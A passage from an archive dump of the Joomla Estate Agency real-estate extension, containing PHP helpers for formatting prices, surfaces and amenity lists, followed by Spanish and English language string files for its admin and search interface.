			return $price;
		}
		else
		{
			return $default;
		}
	}

	/**
	 * Format surface following the component configuration.
	 * If surface is empty, return a default string value.
	 *
	 * @param   float|int  $surface  The surface as number
	 * @param   string     $default  Default value if surface equals 0
	 *
	 * @return  string
	 */
	public static function formatSurface($surface = 0, $default =
'')
	{
		$params = self::getParams();

		if (!empty($surface))
		{
			$surfaceMeasure = $params->get('surface_measure',
'm&sup2;');
			$surface = self::formaNumber($surface);

			return $surface . ' ' . $surfaceMeasure;
		}

		return $default;
	}

	/**
	 * Format number following the component configuration.
	 *
	 * @param   float|int  $number  The number to format
	 *
	 * @return  string
	 */
	public static function formaNumber($number = O)
	{
		$params = self::getParams();
		$number = (float) $number;
		$decimal_separator = $params->get('decimals_separator',
',');
		$thousands_separator = $params->get('thousands_separator',
' ');
		$decimals = (int) $params->get('decimals_number',
'0');

		return number_format($number, $decimals, $decimal_separator,
$thousands_separator);
	}

	/**
	 * Get JEA params
	 *
	 * @return Joomla\Registry\Registry
	 */
	protected static function getParams()
	{
		if (self::$params == null)
		{
			self::$params = JComponentHelper::getParams('com_jea');
		}

		return self::$params;
	}
}
helpers/html/amenities.php000064400000005776151165174010011661
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Jea Amenities HTML helper
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
abstract class JHtmlAmenities
{
	/**
	 * @var stdClass[]
	 */
	protected static $amenities = null;

	/**
	 * Method to get an HTML list of amenities
	 *
	 * @param   mixed   $value   string or array of amenities ids
	 * @param   string  $format  The wanted format (ol, li, raw (default))
	 *
	 * @return string HTML for the list.
	 */
	static public function bindList($value = 0, $format = 'raw')
	{
		if (is_string($value) && !empty($value))
		{
			$ids = explode('-', $value);
		}
		elseif (empty($value))
		{
			$ids = array();
		}
		else
		{
			$ids = ArrayHelper::toInteger($value);
		}

		$html = '';
		$amenities = self::getAmenities();
		$items = array();

		foreach ($amenities as $row)
		{
			if (in_array($row->id, $ids))
			{
				if ($format == 'ul')
				{
					$items[] = "<li>{$row->value}</li>\n";
				}
				else
				{
					$items[] = $row->value;
				}
			}
		}

		if ($format == 'ul')
		{
			$html = "<ul>\n" . implode("\n", $items) .
"</ul>\n";
		}
		else
		{
			$html = implode(', ', $items);
		}

		return $html;
	}

	/**
	 * Return HTML list of amenities as checkboxes
	 *
	 * @param   array   $values    The checkboxes values
	 * @param   string  $name      The attribute name for the checkboxes
	 * @param   string  $idSuffix  An optional ID suffix for the checkboxes
	 *
	 * @return string Html list
	 */
	static public function checkboxes($values = array(), $name =
'amenities', $idSuffix = '')
	{
		$amenities = self::getAmenities();
		$values = (array) $values;
		$html = '';

		if (!empty($amenities))
		{
			$html .= "<ul>\n";

			foreach ($amenities as $row)
			{
				$checked = '';
				$id = 'amenity' . $row->id . $idSuffix;

				if (in_array($row->id, $values))
				{
					$checked = 'checked="checked"';
				}

				$html .= '<li><input name="' . $name .
'[]" id="' . $id . '"
type="checkbox" value="' . $row->id . '"
' . $checked . ' /> '
						. '<label for="' . $id . '">' .
$row->value . '</label></li>' . "\n";
			}

			$html .= "</ul>";
		}

		return $html;
	}

	/**
	 * Get Jea amenities from database
	 *
	 * @return array An array of amenity row objects
	 */
	static public function getAmenities()
	{
		if (self::$amenities === null)
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('a.id , a.value');
			$query->from('#__jea_amenities AS a');
			$query->where('a.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')');
			$query->order('a.ordering');
			$db->setQuery($query);

			self::$amenities = $db->loadObjectList();
		}

		return self::$amenities;
	}
}
language/es-ES/es-ES.com_jea.ini000064400000037106151165174010012264
0ustar00; @author     Roberto Segura
; @license    http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note       All ini files need to be saved as UTF-8

COM_JEA_ABOUT="Acerca de"
COM_JEA_AMENITIES="Extras"
COM_JEA_CONFIG_GENERAL="General"
COM_JEA_CONFIG_LIST="Vista listado"
COM_JEA_CONFIG_PICTURES="Imágenes"
COM_JEA_CONFIG_PROPERTY="Vista de inmueble"
COM_JEA_COPY="Copiar"
COM_JEA_CREDITS="Créditos"
COM_JEA_DETAILS="Detalles"
COM_JEA_DIRECTORY_NOT_FOUND="El directorio : %s no se ha
encontrado."
COM_JEA_DOCUMENTATION="Documentación"
COM_JEA_EDIT_PROPERTY="Editar inmueble ID:%s"
COM_JEA_FEATURES_MANAGEMENT="Administrar auxiliares"
COM_JEA_FEATURES_UPDATED_WARNING="ALERTA: Los extras se han recargado
para el idioma actual. Revisa los campos resaltados."
COM_JEA_FIELDSET_RULES="Permisos del inmueble"
COM_JEA_FIELD_ADDRESS_LABEL="Dirección"
COM_JEA_FIELD_AMENITY_LABEL="Extra"
COM_JEA_FIELD_AREA_FILTER_DESC="Filtrar por área"
COM_JEA_FIELD_AREA_LABEL="Área"
COM_JEA_FIELD_CHARGES_LABEL="Cargas"
COM_JEA_FIELD_CONDITION_LABEL="Estado del inmueble"
COM_JEA_FIELD_CONTACT_FORM_DESC="Mostrar u ocultar el formulario de
contacto"
COM_JEA_FIELD_CONTACT_FORM_LABEL="Formulario de contacto"
COM_JEA_FIELD_CREATED_BY_DESC="Puedes cambiar aquí el nombre del
usuario que creó el inmueble."
COM_JEA_FIELD_CROP_THUMBNAILS_DESC="Recortar miniaturas para que
tengan siempre la misma anchura y la misma altura."
COM_JEA_FIELD_CROP_THUMBNAILS_LABEL="Recortar miniaturas"
COM_JEA_FIELD_CURRENCY_SYMBOL_LABEL="Símbolo de moneda"
COM_JEA_FIELD_DECIMALS_NUMBER_DESC="Número de decimales que se
usarán para mostrar números."
COM_JEA_FIELD_DECIMALS_NUMBER_LABEL="Número de decimales"
COM_JEA_FIELD_DECIMALS_SEPARATOR_DESC="Separador que se usará para
mostrar los decimales."
COM_JEA_FIELD_DECIMALS_SEPARATOR_LABEL="Separador de decimales"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_DESC="Email por defecto que se usará
como destinatario del formulario de contacto"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_LABEL="Destinatario por defecto"
COM_JEA_FIELD_DEPARTMENT_FILTER_DESC="Filtro por provincia"
COM_JEA_FIELD_DEPARTMENT_LABEL="Provincia"
COM_JEA_FIELD_DEPOSIT_LABEL="Fianza"
COM_JEA_FIELD_FEATURED_DESC="La marca de destacado es usada por el
módulo Emphasis para mostrar una selección de inmuebles destacados."
COM_JEA_FIELD_FEES_LABEL="Impuestos"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Número de pisos"
COM_JEA_FIELD_FLOOR_LABEL="Piso"
COM_JEA_FIELD_GALLERY_ORIENTATION_DESC="<strong>Vertical</strong>
: imágenes en la galería están dispuestos verticalmente junto a la
imagen principal<br /><strong>Horizontal</strong> :
imágenes en la galería están dispuestas horizontalmente debajo de la
imagen principal."
COM_JEA_FIELD_GALLERY_ORIENTATION_LABEL="Orientación de la
galería"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Geolocalización"
COM_JEA_FIELD_GOOGLE_MAP_DESC="Mostrar u ocultar mapa de Google"
COM_JEA_FIELD_GOOGLE_MAP_LABEL="Mapa de Google"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Calefacción"
COM_JEA_FIELD_HITS_DESC="Contador de visitas de este inmueble"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Agua caliente"
COM_JEA_FIELD_IMAGES_LAYOUT_DESC="Tipo de galería que se usará en la
vista de inmueble"
COM_JEA_FIELD_IMAGES_LAYOUT_LABEL="Tipo de galería"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_DESC="Número máximo de imágenes
que podrán subirse simultáneamente"
COM_JEA_FIELD_IMAGES_UPLOAD_NUMBER_LABEL="Max. imágenes subidas"
COM_JEA_FIELD_JEA_VERSION_DESC="Elige la versión de JEA a la que
pertenecen los datos que quieres importar."
COM_JEA_FIELD_JEA_VERSION_LABEL="Versión de JEA"
COM_JEA_FIELD_JOOMLA_PATH_DESC="Ruta del directorio raíz de Joomla
donde JEA está instalado. Debe ser una ruta absoluta."
COM_JEA_FIELD_JOOMLA_PATH_LABEL="Ruta de Joomla"
COM_JEA_FIELD_LAND_SPACE_LABEL="Metros de terreno"
COM_JEA_FIELD_LANGUAGE_DESC="Idioma asignado a este item"
COM_JEA_FIELD_LATITUDE_LABEL="Latitud"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Metros habitables"
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_DESC="La relación
entre provincias, poblaciones y áreas puede ser activada o desactivada.
Activa esta opción para mejorar el rendimiento si tienes muchos registros
en estas tablas."
COM_JEA_FIELD_LOCALIZATION_FEATURES_RELATIONSHIP_LABEL="Relación
entre provincias, municipios y áreas"
COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC="Establece si el formulario de
acceso debe aparecer antes o después de guardar el inmueble cuando el
usuario no está conectado."
COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL="Comportamiento del Login"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitud"
COM_JEA_FIELD_NOTES_DESC="Puedes introducir notas relativas a este
inmueble. No serán visibles en la parte pública del sitio."
COM_JEA_FIELD_NOTES_LABEL="Notas privadas"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Número de baños"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Número de dormitorios"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Número de habitaciones"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Número de aseos"
COM_JEA_FIELD_ORIENTATION_LABEL="Orientación"
COM_JEA_FIELD_PRICE_LABEL="Precio"
COM_JEA_FIELD_PRICE_RENT_LABEL="Alquiler"
COM_JEA_FIELD_PRIMARY_ORDER_DESC="Columna por la que se ordenarán los
inmuebles mostrados"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_DESC="Dirección del orden para
mostrar los inmuebles"
COM_JEA_FIELD_PRIMARY_ORDER_DIRECTION_LABEL="Dirección del orden
primario"
COM_JEA_FIELD_PRIMARY_ORDER_LABEL="Orden primario"
COM_JEA_FIELD_PRINT_ICON_LABEL="Icono de imprimir"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Disponibilidad del
inmueble"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC="Filtro por tipo de
inmueble"
COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL="Tpos de inmueble"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Tipo de inmueble"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional de finalización
de publicación del inmueble."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Finalización de la
publicación"
COM_JEA_FIELD_PUBLISH_UP_DESC="Una fecha opcional de inicio de
publicación del inmueble."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Frecuencia de pago"
COM_JEA_FIELD_REF_DESC="Referencia del inmueble"
COM_JEA_FIELD_REF_LABEL="Referencia"
COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL="Buscar en extras"
COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL="Buscar en áreas"
COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL="Buscar en importe"
COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL="Buscar en estados de
inmueble"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC="Establecer la
localización por defecto que se mostrará en el mapa (ej.
«España»)"
COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL="Localización por
defecto"
COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL="Buscar en provincias"
COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL="Buscar en piso"
COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL="Texto libre de
búsqueda"
COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL="Buscar en
calefacción"
COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL="Buscar en agua
caliente"
COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL="Buscar en metros
construidos"
COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL="Buscar en metros
habitables"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC="Establecer la altura del
mapa"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL="Altura del mapa"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC="Establecer la anchura del
mapa"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL="Ancho del mapa"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL="Buscar en número
de baños"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL="Buscar en número
de dormitorios"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL="Buscar en número de
habitaciones"
COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL="Buscar en
orientación"
COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL="Buscar en municipios"
COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC="Asignar si desea
buscar sólo en un tipo de transacción"
COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL="Buscar en códigos
postales"
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_DESC="Enviar un email al autor del
inmueble."
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_LABEL="Enviar email al autor"
COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL="Mostrar fecha de
creación"
COM_JEA_FIELD_SLOGAN_LABEL="Eslogan"
COM_JEA_FIELD_SORT_BY_AREA_DESC="Mostrar u ocultar el botón para
ordenar por área"
COM_JEA_FIELD_SORT_BY_AREA_LABEL="Ordenar por área"
COM_JEA_FIELD_SORT_BY_DATE_DESC="Mostrar u ocultar el boton para
ordenar por fecha"
COM_JEA_FIELD_SORT_BY_DATE_LABEL="Ordenar por fecha"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_DESC="Mostrar u ocultar el botón
para ordenar por provincia"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_LABEL="Ordenar por provincia"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_DESC="Mostrar u ocultar el botón
para ordenar por metros de terreno"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_LABEL="Ordenar por metros de
terreno"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_DESC="Mostrar u ocultar el botón
para ordenar por espacio habitable"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_LABEL="Ordenar por espacio
habitable"
COM_JEA_FIELD_SORT_BY_POPULARITY_DESC="Mostrar u ocultar el botón
para ordenar por popularidad"
COM_JEA_FIELD_SORT_BY_POPULARITY_LABEL="Orenar por popularidad"
COM_JEA_FIELD_SORT_BY_PRICE_DESC="Mostrar u ocultar el botón para
ordenar por precio"
COM_JEA_FIELD_SORT_BY_PRICE_LABEL="Ordenar por precio"
COM_JEA_FIELD_SORT_BY_TOWN_DESC="Mostrar u ocultar el botón para
ordenar por población"
COM_JEA_FIELD_SORT_BY_TOWN_LABEL="Ordenar por población"
COM_JEA_FIELD_SURFACE_UNIT_DESC="Metros cuadrados o pies
cuadradros"
COM_JEA_FIELD_SURFACE_UNIT_LABEL="Unidad métrica"
COM_JEA_FIELD_SYMBOL_POSITION_DESC="Modifica la posición donde se
muestra la moneda."
COM_JEA_FIELD_SYMBOL_POSITION_LABEL="Posición símbolo moneda"
COM_JEA_FIELD_THOUSANDS_SEPARATOR_DESC="Establece el símbolo que
separará los millares (ej.: 1.000,00 usa el .)."
COM_JEA_FIELD_THOUSANDS_SEPARATOR_LABEL="Separador millares"
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_DESC="Establece la altura de las
imágenes en miniatura de tamaño mediano."
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_LABEL="Altura miniaturas
medianas"
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_DESC="Establece la anchura de las
imágenes en miniatura de tamaño mediano."
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_LABEL="Anchura miniaturas
medianas"
COM_JEA_FIELD_THUMB_MIN_HEIGHT_DESC="Establece la altura de las
imágenes en miniatura de tamaño pequeño."
COM_JEA_FIELD_THUMB_MIN_HEIGHT_LABEL="Altura miniaturas
pequeñas"
COM_JEA_FIELD_THUMB_MIN_WIDTH_DESC="Establece la anchura de las
imágenes en miniatura de tamaño pequeño."
COM_JEA_FIELD_THUMB_MIN_WIDTH_LABEL="Anchura miniaturas
pequeñas"
COM_JEA_FIELD_THUMB_QUALITY_DESC="La calidad de la miniatura
corresponde a la compresión JPEG. El rango de valores va desde 0 a 100
(mejor calidad)."
COM_JEA_FIELD_THUMB_QUALITY_LABEL="Calidad de las miniaturas"
COM_JEA_FIELD_TOWN_FILTER_DESC="Filtrar por población"
COM_JEA_FIELD_TOWN_LABEL="Población"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Tipo de transacción"
COM_JEA_FIELD_TYPE_LABEL="Tipo de inmueble"
COM_JEA_FIELD_USE_AJAX_DESC="Esta opción actualiza los listados del
formulario y muestra el número de inmuebles, interactuando con la
selección del usuario."
COM_JEA_FIELD_USE_AJAX_LABEL="Usar AJAX"
COM_JEA_FIELD_USE_CAPTCHA_DESC="Usar validación captcha de imagen en
el formulario de contacto"
COM_JEA_FIELD_USE_CAPTCHA_LABEL="Usar captcha"
COM_JEA_FIELD_ZIP_CODE_LABEL="Código postal"
COM_JEA_FINANCIAL_INFORMATIONS="Información financiera"
COM_JEA_FORUM="Foro"
COM_JEA_HEADING_FEATURES_IMPORT_CSV="Importar archivo CSV"
COM_JEA_HEADING_FEATURES_LIST_NAME="Nombre del auxiliar"
COM_JEA_HEIGHT="altura"
COM_JEA_IMPORT_FROM_JEA="Importar desde JEA"
COM_JEA_IMPORT_FROM_JEA_DESC="Esta herramienta sirve para importar
datos de otra instalación de JEA."
COM_JEA_IMPORT_PARAMETERS="Parámetros de importación"
COM_JEA_JOOMLA_CONFIGURATION_FILE_NOT_FOUND="No se ha encontrado el
archivo de configuración de Joomla! "
COM_JEA_LICENCE="Licencia"
COM_JEA_LIST_OF_AMENITY_TITLE="Extras"
COM_JEA_LIST_OF_AREA_TITLE="Áreas"
COM_JEA_LIST_OF_CONDITION_TITLE="Estados del inmueble"
COM_JEA_LIST_OF_DEPARTMENT_TITLE="Provincias"
COM_JEA_LIST_OF_HEATINGTYPE_TITLE="Tipos de calefacción"
COM_JEA_LIST_OF_HOTWATERTYPE_TITLE="Tipos de agua caliente"
COM_JEA_LIST_OF_SLOGAN_TITLE="Eslogans"
COM_JEA_LIST_OF_TOWN_TITLE="Poblaciones"
COM_JEA_LIST_OF_TYPE_TITLE="Tipos de inmueble"
COM_JEA_LOCALIZATION="Localización"
COM_JEA_LOGO="Logo"
COM_JEA_MAIN_DEVELOPER="Desarrollador principal"
COM_JEA_MAP_MARKER_LABEL="Arrastra el marcador para asignar tu
posición"
COM_JEA_MAP_OPEN="Abrir el mapa"
COM_JEA_MENU_PARAMS_LABEL="Parámmetros de JEA"
COM_JEA_MESSAGE_CONFIRM_DELETE="¿Estás seguro de que quieres borrar
este o estos item(s)?"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Selecciona un tipo de inmueble"
COM_JEA_NEW_PROPERTY="Nuevo inmueble"
COM_JEA_NOTES="Notas"
COM_JEA_NO_ITEM_SELECTED="No se ha seleccionado un item"
COM_JEA_NUM_LINES_IMPORTED_ON_TABLE="%s línea(s) importadas en la
tabla %s"
COM_JEA_N_ITEMS_CHECKED_IN="%d item(s) comprobados correctamente"
COM_JEA_N_ITEMS_COPIED="%s item(s) copiado(s) correctamente"
COM_JEA_N_ITEMS_DELETED="%s item(s) borrado(s) correctamente"
COM_JEA_N_ITEMS_PUBLISHED="%s item(s) publicado(s) correctamente"
COM_JEA_N_ITEMS_UNPUBLISHED="%s item(s) despublicado(s)
correctamente"
COM_JEA_OPTION_AFTER_PRICE="Después del precio"
COM_JEA_OPTION_BEFORE_PRICE="Antes del precio"
COM_JEA_OPTION_DAILY="Diariamente"
COM_JEA_OPTION_EAST="Este"
COM_JEA_OPTION_EAST_WEST="Este oeste"
COM_JEA_OPTION_LOGIN_AFTER_SAVE="Acceder después de guardar"
COM_JEA_OPTION_LOGIN_BEFORE_SAVE="Acceder antes de guardar"
COM_JEA_OPTION_MONTHLY="Mensualmente"
COM_JEA_OPTION_NORTH="Norte"
COM_JEA_OPTION_NORTH_EAST="Noreste"
COM_JEA_OPTION_NORTH_SOUTH="Norte sur"
COM_JEA_OPTION_NORTH_WEST="Noroeste"
COM_JEA_OPTION_ORDER_ASCENDING="Orden ascendente"
COM_JEA_OPTION_ORDER_DESCENDING="Orden descendente"
COM_JEA_OPTION_RENTING="Alquiler"
COM_JEA_OPTION_SELLING="Venta"
COM_JEA_OPTION_SOUTH="Sur"
COM_JEA_OPTION_SOUTH_EAST="Sureste"
COM_JEA_OPTION_SOUTH_WEST="Suroeste"
COM_JEA_OPTION_WEEKLY="Semanalmente"
COM_JEA_OPTION_WEST="Oeste"
COM_JEA_PICTURES="Imágenes"
COM_JEA_PRICE_PER_FREQUENCY_DAILY=" / al día"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY=" / al mes"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY=" / a la semana"
COM_JEA_PROJECT_HOME="Página del proyecto"
COM_JEA_PROPERTIES_CREATED="%d inmuebles creados"
COM_JEA_PROPERTIES_FOUND_TOTAL="Encontrados : %d inmuebles"
COM_JEA_PROPERTIES_MANAGEMENT="Administrar inmuebles"
COM_JEA_PROPERTIES_SEARCH_FILTER_DESC="Buscar por ID ref, título o
autor"
COM_JEA_PROPERTIES_UPDATED="%d inmuebles actualizados"
COM_JEA_PUBLICATION_INFO="Información de publicación"
COM_JEA_TOOLS="Utilidades"
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_DOESNT_EXISTS="La subida de
archivos ha fallado porque el directorio de destino no existe."
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_NOT_WRITABLE="La subida de
archivos ha fallado porque el directorio de destino no es escribible."
COM_JEA_UPLOAD_DESTINATION_FILE_ALREADY_EXISTS="La subida ha fallado
porque el archivo de destino ya existe."
COM_JEA_UPLOAD_DESTINATION_FILE_NOT_WRITABLE="La subida de archivos ha
fallado porque el archivo de destino ya existe y no es escribible."
COM_JEA_UPLOAD_ERR_CANT_WRITE="No se puede escribir el archivo
temporal en el disco."
COM_JEA_UPLOAD_ERR_NO_TMP_DIR="Falta un directorio temporal para subir
el archivo."
COM_JEA_UPLOAD_ERR_PARTIAL="El archivo se ha subido sólo
parcialmente."
COM_JEA_UPLOAD_ERR_SIZE="El archivo excede el tamaño máximo de
archivo."
COM_JEA_UPLOAD_FILE_EXTENSION_NOT_PERMITTED="No se permite subir
archivos con esa extensión de archivo."
COM_JEA_UPLOAD_UNKNOWN_ERROR="Error desconocido : Fallo al subir el
archivo."
COM_JEA_VERSIONS="Versiones"
COM_JEA_WIDTH="ancho"

JGLOBAL_NUMBER_ITEMS_LIST_DESC="Número por defecto de inmuebles
listado en la página de resultados"
JGLOBAL_NUMBER_ITEMS_LIST_LABEL="Inmuebles por página"
language/en-GB/en-GB.com_jea.ini000064400000046102151165174010012210
0ustar00; @author Sylvain Philip
; @copyright (C) 2008 - 2020 PHILIP Sylvain. All rights reserved.
; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note All ini files need to be saved as UTF-8

COM_JEA_ABOUT="About"
COM_JEA_ACCESS_DELETE_DESC="New setting for <strong>delete
actions</strong> on this property and the calculated setting based on
the parent category and group permissions."
COM_JEA_ACCESS_EDITSTATE_DESC="New setting for <strong>edit
state actions</strong> on this property and the calculated setting
based on the parent category and group permissions."
COM_JEA_ACCESS_EDIT_DESC="New setting for <strong>edit
actions</strong> on this property and the calculated setting based on
the parent category and group permissions."
COM_JEA_AMENITIES="Amenities"
COM_JEA_CONFIG_GENERAL="General"
COM_JEA_CONFIG_LIST="List display"
COM_JEA_CONFIG_PICTURES="Pictures"
COM_JEA_CONFIG_PROPERTY="Property display"
COM_JEA_COPY="Copy"
COM_JEA_CREDITS="Credits"
COM_JEA_DETAILS="Details"
COM_JEA_DIRECTORY_NOT_FOUND="The directory : %s was not found."
COM_JEA_DOCUMENTATION="Documentation"
COM_JEA_DOWNLOAD="Download"
COM_JEA_EDIT_PROPERTY="Edit property ID:%s"
COM_JEA_EDIT_USER="Edit user"
COM_JEA_ERROR_CANNOT_CREATE_DIR="Cannot create directory : %s"
COM_JEA_EXPORT="Export"
COM_JEA_EXPORT_AJAX="AJAX Export"
COM_JEA_EXPORT_CLI="CLI Export"
COM_JEA_EXPORT_END_MESSAGE="Export completed for: %s (%d exported
properties)"
COM_JEA_EXPORT_LAUNCH="Start Export"
COM_JEA_EXPORT_START_MESSAGE="Export started for: %s"
COM_JEA_FEATURES_MANAGEMENT="Manage features"
COM_JEA_FEATURES_UPDATED_WARNING="WARNING: Features have been reloaded
for current language. Please review the highlighted fields."
COM_JEA_FIELDSET_RULES="Property Permissions"
COM_JEA_FIELD_ADDRESS_LABEL="Address"
COM_JEA_FIELD_AMENITY_LABEL="Amenity"
COM_JEA_FIELD_AREA_FILTER_DESC="Filter on area"
COM_JEA_FIELD_AREA_LABEL="Area"
COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_DESC="Delete JEA properties not
found in the import set"
COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_LABEL="Delete properties"
COM_JEA_FIELD_CHARGES_LABEL="Charges"
COM_JEA_FIELD_COMMAND_LABEL="Command:"
COM_JEA_FIELD_CONDITION_LABEL="Property condition"
COM_JEA_FIELD_CONTACT_FORM_DESC="Show or hide the contact form"
COM_JEA_FIELD_CONTACT_FORM_LABEL="Contact form"
COM_JEA_FIELD_CREATED_BY_DESC="You can change here the name of the
user who created the property."
COM_JEA_FIELD_CROP_THUMBNAILS_DESC="Crop thumbnails to fit always to
the same width and the same height."
COM_JEA_FIELD_CROP_THUMBNAILS_LABEL="Crop thumbnails"
COM_JEA_FIELD_CURRENCY_SYMBOL_LABEL="Currency symbol"
COM_JEA_FIELD_DECIMALS_NUMBER_DESC="Sets the number of decimal points
used to format numbers in the application."
COM_JEA_FIELD_DECIMALS_NUMBER_LABEL="Decimals number"
COM_JEA_FIELD_DECIMALS_SEPARATOR_DESC="Sets the separator for the
decimal point used to format numbers in the application."
COM_JEA_FIELD_DECIMALS_SEPARATOR_LABEL="Decimals separator"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_DESC="Set the default recipient email
for the contact form"
COM_JEA_FIELD_DEFAULT_RECIPTIENT_LABEL="Default recipient"
COM_JEA_FIELD_DEPARTMENT_FILTER_DESC="Filter on department"
COM_JEA_FIELD_DEPARTMENT_LABEL="Department"
COM_JEA_FIELD_DEPOSIT_LABEL="Deposit"
COM_JEA_FIELD_EXPORT_DIRECTORY_DESC="The destination directory of the
export files."
COM_JEA_FIELD_EXPORT_DIRECTORY_LABEL="Export directory"
COM_JEA_FIELD_EXPORT_IMAGE_AS_DESC="Export images as plain file or
URL."
COM_JEA_FIELD_EXPORT_IMAGE_AS_LABEL="Export images as"
COM_JEA_FIELD_FEATURED_DESC="The featured marker is used in the
Emphasis module to have a featured selection of properties."
COM_JEA_FIELD_FEES_LABEL="Fees"
COM_JEA_FIELD_FLOORS_NUMBER_LABEL="Floors number"
COM_JEA_FIELD_FLOOR_LABEL="Floor"
COM_JEA_FIELD_FTP_HOST_DESC="The FTP host name."
COM_JEA_FIELD_FTP_HOST_LABEL="FTP host"
COM_JEA_FIELD_FTP_PASSWORD_DESC="FTP account password for this
host."
COM_JEA_FIELD_FTP_PASSWORD_LABEL="FTP password"
COM_JEA_FIELD_FTP_USERNAME_DESC="FTP account username for this
host."
COM_JEA_FIELD_FTP_USERNAME_LABEL="FTP username"
COM_JEA_FIELD_GALLERY_ORIENTATION_DESC="<strong>Vertical</strong>
: images in the gallery are arranged vertically next to the main
image<br /><strong>Horizontal</strong> : images in the
gallery are arranged horizontally below the main image."
COM_JEA_FIELD_GALLERY_ORIENTATION_LABEL="Gallery orientation"
COM_JEA_FIELD_GEOLOCALIZATION_LABEL="Geolocalization"
COM_JEA_FIELD_GOOGLE_MAP_DESC="Show or hide Google map"
COM_JEA_FIELD_GOOGLE_MAP_LABEL="Google map"
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_DESC="An API key is required to use
the Google Map service."
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_LABEL="Google Map Api key"
COM_JEA_FIELD_GOOGLE_MAP_API_KEY_MORE_INFO="<a
href="_QQ_"https://developers.google.com/maps/documentation/javascript/get-api-key?hl=En"_QQ_"
target="_blank">More info to obtain an API key</a>"
COM_JEA_FIELD_HEATINGTYPE_LABEL="Heating type"
COM_JEA_FIELD_HITS_DESC="Number of hits for this property"
COM_JEA_FIELD_HOTWATERTYPE_LABEL="Hot water type"
COM_JEA_FIELD_IMAGES_LAYOUT_DESC="Choose the gallery layout"
